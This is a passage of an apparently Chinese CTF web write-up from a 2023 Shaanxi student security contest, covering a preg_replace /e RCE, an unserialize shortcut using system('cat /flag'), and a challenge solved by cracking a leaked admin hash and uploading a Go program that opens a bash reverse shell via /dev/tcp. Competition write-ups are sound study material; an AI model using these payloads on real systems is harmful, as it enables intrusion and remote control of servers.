2023陕西省大学生信息安全竞赛web writeup - ToB企服应用市场:ToB评测及商务社交产业平台

[/code]传参这有个坑，用了Unicode编码，得copy下来进行url编码才能传参，不知道这么干有什么意义，还得绕过Exception,把变量数改一下就能绕过了，跟绕wakeup一样
[size=4]ezrce[/size]
preg_replace采用了/e的模式，很明显有rce漏洞，简单的测试了一下，不能用数字等等，这waf有点牛逼，采用无参rce直接读flag就行了，name得含有hahaha
[img]https://pic.imgdb.cn/item/647d49c21ddac507cc338283.jpg[/img]
[size=4]unserialize[/size]
非预期，?a=system ('cat /flag');就能读flag
[img]https://pic.imgdb.cn/item/647d49de1ddac507cc33a766.jpg[/img]
[size=4]test[/size]
查看页面源代码，发现/profile/index这个路由，访问一下返回一个result，啥也没有，仿问/profile/admin，返回了密码，MD5解密一下asdfgh123admin登录进去，提示上传个go文件，就会运行，构造一个上传数据包，go文件如下:
[code]package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

复制代码